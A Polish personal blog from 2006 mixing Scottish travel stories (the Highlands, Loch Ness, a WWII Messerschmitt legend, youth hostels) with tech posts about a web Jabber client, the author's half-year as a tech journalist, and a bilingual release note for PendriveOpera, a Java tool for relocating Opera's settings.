Objechanie jeziora Ness, to dopiero początek. To, co zobaczyłem potem, z najpiękniejszej (potwierdzam!) drogi w Szkocji łączącej południe z Highlandami, przeszło moje najśmielsze oczekiwania i utrwaliło w przekonaniu, że znalazłem miejsce na starość...
Wiecie, zawsze marzyłem o tym, żeby na starość siąść na werandzie domku przy jeziorze, złapać wyimaginowanego kota na kolana, przyćmić fajkę, spojrzeć na górę skąpaną we mgle... i zacząć pisać książkę.
Prawda, że piękna wizja? Teraz tylko wymieniłbym kota na laptopa (ale za to z myszką! ;-) bo do mojej starości access pointy Wi-Fi w Szkocji mają być zamontowane na każdej latarnii...
A fantazja o górze i jeziorze wzięła się stąd, ze każdy preferuje albo morze albo góry. Ja w dzieciństwie nigdy nie mogłem się zdecydować co lubie bardziej... więc siłą rzeczy zostałem zmuszony do umieszczenia i wody i gór w swoich marzeniach ;-)
Na marginesie, chyba każdy kraj ma taką widokową drogę łączącą północ z południem (por. Rumunia)?
Tego co widziałem wracając na południe nie da się opisać słowami, a niestety większość zdjęć nie wyszła zbyt dobrze... Wcześniej niż w połowie rajskiej drogi złapał mnie zmrok :( Ale nie wszystko stracone, niebawem wybiorę się w te rejony raz jeszcze!
Zgodnie ze wcześniejszymi ustaleniami na uszach miałem Pink Floydów, a przed oczami cały czas przewijał mi się górski krajobraz z polodowcowymi jeziorkami i Highlandskimi krowami :)
Suma sumarum, zmrok nie był taki zły, zwłaszcza pod koniec... Udało mi się zobaczyć dolinę w której leży Glasgow: metropolia światełek aż po horyzont. Niesamowite! Jak na filmach, kiedy zakochana para wyjeżdża na jakąś skałkę z widokiem na panoramę miasta, a nad nimi świeci pełny, ogromny księżyc... (BTW, jak oni w tym Hollywoodzie robią tak duże księżyce?!)
Kilka dni temu, miałem przyjemność zobaczyć ten sam widok, ale z powietrza -- wysepki świateł robią jeszcze większe wrażenie...
Sama wycieczka odbyła się na początku grudnia -- zauważcie brak śniegu, który w Szkocji prawie w ogóle nie występuje. Kolejny plus dla tego kraju! I'm not happy when it snows :-)
I zagadka na koniec: kto wie, co znaczy Loch w nazwie Loch Ness?
Wtorek, 07 lutego 2006 :: 17:11:57
Dlaczego lubie AJAX, tzw. Web 2.0? Bo sieciowa aplikacja w nim stworzona, klient Jabbera przez WWW, jako JEDYNA dziala wysmienicie za firewallem/proxy, ktore przepuszcza tylko 80-tke.
Tak, po ponad czterech miesiacach, w koncu jestem szczesliwy! Mam normalnego klienta Jabbera na desktopie (mimo ze w przegladarce). Koniec z beznadziejnie awaryjnym i pól-uzytecznym EKG! :D
Minusy? Sa, ale bede dzielnie tolerowal. Meebo nie dziala w Operze i póki co korzystam ze standardowego badzIEwia zainstalowanego na tym terminalu... Ale przeciez dzis wyszla nowa Opera, wiec zobaczymy (CISCO tez do niedawna nie chcialo smigac na Operce, a od 8.50 zaczelo... ;-)
Niedziela, 05 lutego 2006 :: 19:04:45
Im dalej posuwałem się na północ, tym pochmurniej się robiło... Cóż począć, taki urok Szkocji. Smaczku dodawała jeszcze szkocka mżawka, która jest o tyle niezwykła, że nie jesteście w stanie jej zobaczyć, nie jesteście w stanie jej poczuć, a po 5 min i tak jesteście cali mokrzy :-)
Z Atom Heart Mother Pink Floydów na uszach przed oczami ciągnęły mi się takie obrazki:
Kiedy wjechaliśmy na serpentynki prowadzące do kurortu X poczułem się jak w polskich Bieszczadach, z tym, że widok był bardziej psychodeliczny. Wyobraźcie sobie: patrzycie w dół -- strome zbocze, którego końca nie widać, bo jest skąpany we mgle. Patrzycie w górę, a szczytu też nie widać, bo także pływa we mgle. Zawieszenie mgielne, tak to nazywam.

W dół... w bok i w górę. Wszędzie panterka śnieżna i mgła. Niektórym z moich zagranicznych przyjaciół te obrazki kojarzyły się z Syberią....
W Szkocji krąży dużo legend o tym, co można znaleźć we mgle. Możecie sobie wyobrazić potwora (ale o potworach, tych z jeziora, to później :P), złote runo, świętego Graala... Możecie sobie nawet wyobrazić stare, mroczne zamczysko, z którego mgła wylewa się każdą basztą. Wszystko źle!
Poprawną odpowiedzią jest autentyczny, przestrzelony Messerschmitt z WWII.
Z samolotem wiąże się ciekawa opowieść, którą moim zdaniem warto tu przytoczyć.
Podczas drugiej Wojny Światowej Niemiecki żołnierz, nazwijmy go Hans, poleciał na rozpoznanie Highlandskich terenów. Pech chciał, że coś przestrzeliło mu samolot (jak widzicie na zdjęciu, nie było to małe coś...). Rozbił się więc, ale cudem ocalał. Niestety, biedak był w nazistowskim mundurze, co nie dawało mu wielkich szans na przeżycie na terenie wroga... koczował więc w lesie, marznąc i zapewne klnąc przeraźliwie.
Aż pewnego dnia, usłyszał płacz. To mały chłopiec, nazwijmy go Gordon, Szkot ma się rozumieć, wpadł we wnyki. Hans, nasz niemiecki pilot, pośpieszył mu na ratunek (chyba od mrozu, pomyliło mu się po której stronie walczy, albo po prostu ciągle był dobrym człowiekiem).
Ponieważ Gordon raczej nie był w stanie sam się poruszać, a już widok umundurowanego niemieckiego żołnierza na pewno mu w tym nie pomagał, Hans zaniósł go do osady na własnych rękach.
Tym oto heroicznym czynem, wszelkie zrzucone na Wielką Brytanię bomby zostały Hansowi przebaczone. W skrócie, dostał ciepłe ubranko, zatopił ze Szkotami swojego "spadniętego" Messerschmitta w pobliskim jeziorze, i objął posadkę miejscowego rzeźnika (hyhy, zawód trochę ironiczny jak dla nazisty ;-)
Jak to się więc stało, że samolot wisi teraz w stacji kolejki linowej, a nie spoczywa, na dnie jeziora tak, jak to było zamierzone? Tu pojawia się, sylwetka ambitnych naukowców, którzy swoimi badaniami zawsze muszą coś popsuć, a najczęściej jest to naturalny rytm świata...
Mądre głowy zaczęły grzebać w jeziorze, robiąc jakieśtam swoje analizy, i zamiast kwiatuszków wyciągnęły samolot Hansa (który, zdążył się już zaaklimatyzować, zestarzeć, i oczywiście przyjął inne imię :). Oliwy do ognia dolali dziennikarze (jak zwykle), którzy szybko zainteresowali się bombowcem w szkockim jeziorze.
Koniec końców, osadnicy lojalnie stojący za Hansem (bo tego czekałby proces, gdyby wyszło na jaw czyj to samolot i kto był pilotem), próbowali odbić wyciągniętego z wody Messerschmitta i zatopić go jeszcze raz -- nie ma co, bystre :) Ale, z tego co pamiętam, Hans dzielnie przyznał się dziennikarzom do wszystkiego, Ci zrozumieli sytuację i milczeli aż do jego śmierci. (A moze to wszystko to tylko film? :P)
Chociaż za końcówkę historii głowy nie daję, bo zająłem się już czymś innym, co skutecznie zepsuło moją wielowątkowość (czyt. podzielność uwagi.). Oto w barze (haha, w każdej dobrej opowieści musi się pojawić bar ;-) pracowały dwie rodaczki nasze. Kto by się spodziewał spotkać Polaka na etacie w dalekiej północy? (Refleksja: Dziwne to, że tyle z nas, po skończeniu studiów, musi wyjeżdżać tak daleko od domu, żeby znaleźć środki do życia...).
Noc się zbliżała, trzeba było ruszać w dalszą drogę. Spanko czekało na mnie w Youth Hostel, czyli szkockim schronisku młodzieżowym. Tu przydatna wskazówka dla do Szkocji się wybierających: Warto spać w Youth Hostelach.
W żadnym razie nie przypominają one obskurnych polskich schronisk, niestety, również ceną... Po sezonie można się przekimać za 12 GBP (70PLN) na dobę. W Tourist Information zawsze znajdziecie pełno folderów z każdej części Szkocji, dot. wszelkiego rodzaju accommodation i B&B (czyli Bed & Breakfast). Warto dobrze poszukać, bo niektóre z Youth Hostels to zamki! Takie prawdziwe i mroczne! I też można w nich spędzić noc za cenę ok 12 GBP, tylko że ze zdecydowanie lepszym wystrojem pokoju!
Mój Youth Hostel położony był już prawie przy Loch Ness, w miejscowości o nazwie: Inverness. Ale że pora wieczorowa, wybrałem się pozwiedzać miasto, potwór przecież poczeka. Więc zwiedziłem polską Warszawe i czeską Pragę (nazwy pubów odp. Warsovia i Pivo). A potem, jak Pan Bóg przykazał, bilardzik i do łóżeczka...
Do łóżeczka było najtrudniejsze. Na usta cisnęło się bowiem jedno wielkie "WTF?". Nie mają litości, zmęczonemu człowiekowi każą najpierw rozwiązać rebus, którego nagrodą jest poprawne wejście do bawełnianej prezerwatywy...Nie musze chyba mówić, jak adekwatną do tego prześcieradła nazwą jest prezerwatywa? W rzeczy samej śpi się w niej chu... I ręki pod poduszkę włożyć nie można! o_O

Kolejny powód, dla którego Youth Hostel są fajne: Mają jeden kran do ciepłej i zimnej wody. Tak mogą być dwa, osobne...
Dostając pokój, dostaje się magnetyczną kartę (tak, o metalowych kluczach nikt już nie pamięta w tym zamkowym kraju) oraz bawełnianą prezerwatywę, którą zakłada się na łóżko, a następnie należy się w nią wsunąć i zasnąć. Po nocy, oddaje się to kosmiczne prześcieradło. Bez obawy, pościel też wymieniają...
Już jutro ostatnia część, opisująca trzeci dzień mojej wędrówki, a dotycząca stricte jeziora Loch Ness i okolicznych muzeów (których jest pełno i każde oficjalne :)
Piątek, 03 lutego 2006 :: 20:31:24
Dokładnie pół roku temu na łamach DI ukazał się pierwszy tekst mojego autorstwa. Równo 6 miesięcy temu rozpocząłem pracę w redakcji DI, zaczynając kolejny etap swojego życia...
Przez minione pół roku wiele się nauczyłem (np. jak wycinać kryptoreklamę, od której aż roi się w informacjach prasowych). Wszystko to za sprawą naczelnika Krzysztofa, Osobnik ten, wykazując niebywałą wręcz cierpliwość, poświęcał swój cenny czas i dokładnie szlifował moje pióro (...i szlifuje do tej pory, czego wyrazem są uwagi redaktorskie znajdowane w skrzynce pocztowej, a zawierające głuównie linka zaczynajonący się od http://sjp.pwn.pl ;-). Bo trzeba przyznać, czasem trochę mnie ponosi, ale poziom dziennika trzeba trzymać. No dobra, raz na jakiś czas uda się zaszaleć, a nawet zrobić dowcip...
Wcześniej, mój kontakt z dziennikarstwem polegał głównie na pochłanianiu czasopism, gazet i książek, nie licząc krótkiego epizodu z gazetką szkolną i radiostacją w czasach licealnych. Ach, była też niespełniona kariera werterowskiego poety... ;-)
Cóż, humanista drzemiący w mojej duszy od zawsze walczył z technicznym umysłem. A to zaciągając mnie na warsztaty kultury indiańskiej, a to znów dając mi możliwość grania we wspaniałym kabarecie o wszystko-mówiącej nazwie ŚMIECH. (Niebawem odgrzebię archiwalia i wrzucę na Google Video, to się dopiero pośmiejecie -- nie tylko ze skeczy ;-).
Praca dziennikarza to przede wszystkim kontakt z (edytorem tekstu - przyp. red.) ludźmi. Poznałem ich wielu przez ostanie pół roku... Nie mam tu na myśli tylko redakcji DI, czyli Krzyśka, który mając dzieciaki i remont na głowie prawie non stop był do dyspozycji, Marcina, prawdziwego artystę, co oprócz pisania do DI potrafi świetnie malować, a w dodatku komponuje muzykę, Wilka, detektywa Allegro i wielkiego społecznika a także wesołej Nejki, przeczącej stwierdzeniu, że kobieta informatyk jest jak świnka morska.
Wymienić trzeba także wszystkie osoby, które "pozostają w cieniu", ale bez których pracy DI nie działałby tak jak należy: Piotrek, szef wszystkich szefów i admin dzielnie walczący z DDoSami, czy Artur, władca krainy forów dyskusyjnych, tak wielkiej, że nawet ja się w niej ciągle gubię...
I w końcu, co najważniejsze, udało mi się poznać Was (a przynajmniej część z Was :-)) -- moich Czytelników. Na szczególną uwagę zasługuje Jurgi, który skomentował prawie wszystkie z moich tekstów, a którego komentarze są doskonałym uzupełnieniem każdego newsa :-)
W minionym półroczu dowiedziałem się również, że nawet przedstawiając suche fakty, przy tak wielkiej poczytności zawsze znajdzie się ktoś, kto będzie potrafił "przyczepić" się do redaktora, dając upust swojej żółci w komentarzach pod tekstem. I nie trzeba dodawać, że przy tekstach pisanych "bardziej od siebie", takich zawierających opinię redaktora, liczba frustratów rośnie eksponencjalnie ;-) Na szczęście są też tacy, którzy doceniają informacje posiadając jednocześnie bystre spostrzeżenia na jej temat, co z kolei powoduje ciekawe, burzliwe i rozwijające dyskusje.
Przez pół roku przedarłem się także przez niezliczoną ilość automatycznych sekretarek, autoresponderów, inteligentnych systemów telefonicznych (sic!) i sekretarek rzeczników prasowych (tu króluje Plus GSM).
Ale sporo było też chwil przyjemnych np. rozmawiałem z naprawdę ciekawymi osobistościami takimi jak chłopcy, co zaćmili słońce, Michał książkopisarz (chociaż z tym łobuziakiem to na co dzień widuję się w innej części internetu *EG*) a także panowie znani z Joggera, twórcy serwisu 10przykazań.com.
Ciekawe wspominam też rozmowę dotyczącą "zhakowania" serwera bip.krakow.pl z osobą, która zupełnie nie miała pojęcia o czym mówi, ale robiła to w sposób na tyle wesoły, że aż nie chciało się przerywać ;-)
Przede wszystkim jednak, najbardziej zadowolony jestem z tego, że lubię to, co robię. To wspaniałe, że mimo iż od redakcji dzieli mnie ponad 2 000 km, ciągle mogę współtworzyć DI, kształcąc się przy tym i pozostając zawsze up to date z najnowszymi wydarzeniami w świecie IT (a jeszcze mi za to płacą! :-)).
Niniejszym, dziękuję wszystkim, którzy byli obecni, i którzy pojawili się w moim życiu przez minione półrocze!
I w tym miejscu, mała niespodzianka dla wiernych Czytelników tego Joggera, których 4 cyfrowa liczba codziennie mnie odwiedza -- niebawem będziecie mogli przeczytać mnie na ...papierze! Ale o tym jeszcze sza, nie zapeszajmy, nie zapeszajmy :-)
Środa, 01 lutego 2006 :: 16:56:21
There is also an English version of this text available here
Ile to razy chciałeś przenieść operę do innego katalogu, zachowując przy tym ustawienia? (paski narzędzi, zakładki, przyciski, skórki, hasła, klawiszo- i myszologię ;-)
Oczywiście, możesz skorzystać ze standardowego instalatora Opery, do woli, instalując przeglądarkę za każdym razem w innym katalogu/miejscu. Ale... przecież zakładki/hasła/przyciski zachowane w Operze odpalonej z jednego miejsca, nie pokażą się w Operze odpalonej z innego miejsca... :(
A może zmieniasz system, porządkujesz dysk, albo po prostu chcesz zainstalować Operę na przenośnym dysku USB, żeby móc korzystać z najszybszej przeglądarki w różnych miejscach?
Teraz bez problemu przeniesiesz swoją dopieszczoną instalację Opery w dowolne miejsce!
- 1. Zrób backup katalogu, gdzie zainstalowana jest Opera
- 2. Ściągnij darmowy, otwarty PendriveOpera i rozpakuj go gdziekolwiek
- 3. Czy na pewno zrobiłeś backup? PendriveOpera ciagle jest w fazie beta i może coś popsuć ;-)
- 4. Odpal program: java PendriveOpera [c:\current\path\to\opera] [e:\new\path]
Jeśli nie masz Javy, kliknij tu.
WSKAZÓWKA:
A co, jeśli różne komputery widzą mój przenośny dysk USB pod różnymi literkami? Po prostu zrób wiele wersji Opery, na każdą okazję. (Pamiętaj, że póki co, po każdym odpaleniu Pendrive, powinieneś przywrócić katalog Opery z backupu, by móc go znów przerabiać lub po prostu dalej korzystać z Opery na swoim komputerze)
PendriveOpera sprawdza tylko pliki .ini, w każdym z podkatalogów miejsca, w których zainstalowana jest Opera. Jeśli wiesz o innych plikach, które powinien sprawdzać, daj mi znać? PendriveOpera zamienia wszystkie wystąpienia starej ścieżki na nową/docelową/podaną przez użytkownika. Program nie rozróżnia małych i dużych liter. PiSz jAk Ci WyGodNiE.
PendriveOpera jest ciągle w fazie beta. Zapewne nie powinienem go jeszcze publikować, ale testuję strategię Google: będę patrzeć jak ludzie bawią się moim oprogramowaniem i czekać aż zgłoszą błędy *EG* ;-) Bo PendriveOpera u mnie działa tak jak chcę, ale u Ciebie wcale nie musi -- dlatego zgłoś błąd, jeśli coś poszło nie tak...
PendriveOpera testowany był na mocno "odpicowanej" operze 8.51tp2, (upgrade z którejśtam siódemki), Windows XP. Moja Opera trzyma wszystkie pliki w jednym katalogu, nie wiem czy inne instalacje/wersje Opery trzymają pliki w innych miejscach.
Co z *niksem? Póki co nie mam dostępu, więc nie testowałem, ale zamierzam. Na razie możecie napisać sobie coś w shellu albo użyć vima, żeby zrobić to samo co PendriveOpera z mniejszym narzutem kodu ;-)
Pytania i odpowiedzi:
P: Po co to napisałeś, przecież mogę edytować konfigi ręcznie, frajerze!
O: Proszę bardzo, gratuluję szybkich rączek i nie pytam gdzie zdobyłeś praktykę ;-)
P: Dlaczego napisałeś ten program w Javie, w dodatku z tyloma niepotrzebnymi liniami kodu, lamerze?
O: Bo IBM chce, żebym trenował w Javie, a dodatkowo potrzebowałem implementacji stosu i skanowania katalogów do innego projektu. Jeśli jednak coś Ci się nie podoba, udostępniam kod źródłowy, który możesz przerobić pod siebie, prawda że potrafisz? :-)
TODO:
* Możliwość przeniesienia Opery z Windows na Linux i odwrotnie.
Jakieś sugestie?
PS: Kto wie jak skompilować programy w Javie do plików wykonywalnych .exe? Pewnie wielu ludziom ułatwiłoby to życie...
Środa, 01 lutego 2006 :: 16:42:59
Polska wersja / Polish version
How many times you need to place Opera in a different directory and keep your settings untouched (toolbars, bookmarks, buttons, skins, Wand passwords, keyboard & mouse settings)? Of course, you can install Opera in different directories, many, many times, but what about consistent and up to date profile/settings, that don't depend on version you currently run?
A system changing? A HDD cleaning? Or, maybe, you just want to have your extremely enhanced and personalized Opera on a USB drive (referred to as USB stick, pendrive, removable disk, etc.) so that you can use it everywhere, on different machines?
Now it's possible! All you have to do is:
- 1.Make a backup of your current Opera installation!
- 2.Download PendriveOpera (freeware & opensource) and unpack it somewhere
- 3.Make a backup of your current Opera installation, for Christ sake -- this software is BETA!
- 4.Run PendriveOpera: java PendriveOpera
or: java PendriveOpera c:\current\path\to\opera e:\new\path
If you don’t have Java installed, click here.
HINT:
Q: But each machine makes my USB drive to be visible under different path/letter!
A: Create many version for every possible occasion ;-) You have to restore Opera from backup after each run of PendriveOpera, but I plan to change it soon.
PendriveOpera checks only .ini files in every directory in the Opera's current installation path. Are there any other files that need to be parsed (consist paths)? PendriveOpera will find every occurrence of old path and replace it with a new one, defined by the user. PendriveOpera isn't case sensitive, feel free to wRitE pAthS aS yOu wAnT.
This software is still in the beta stage. Probably I shouldn't have published it, but hey, I'm like Google Inc.! I want to watch people playing with my software ;-) PendriveOpera works for me, but may not work for you. So do report a bug!
I tested PendriveOpera on Opera 8.51tp2 with ALL files in ONE directory (Windows XP), and have no idea if other Operas keep their files in more than one path. However, *nix users can use a lighter shell or even vim script to make what PendriveOpera does.
I wasn't able to check changing Windows paths to *nix ones by now, but I'm going to. Wanna help me? ;-)
Flame section
Q: I can do it by myself, with notepad, you looser!
A: Be my guest, do it in less than 3 sec.
Q: Why did you write this program in Java with so many unnecessary lines, you idiot?
A: Because IBM wanted me to practice Java, and because I use this program for another task, where scanning directories is essential and have to be stack-implemented. Moreover, I provide you with a source code, so you can easily cut the sh*t off, can't you? ;-)
Q: *, you *!
A: :-)
TODO:
* Parsing Windows profile to make it usable in *nix and vice versa.
Any suggestions?
|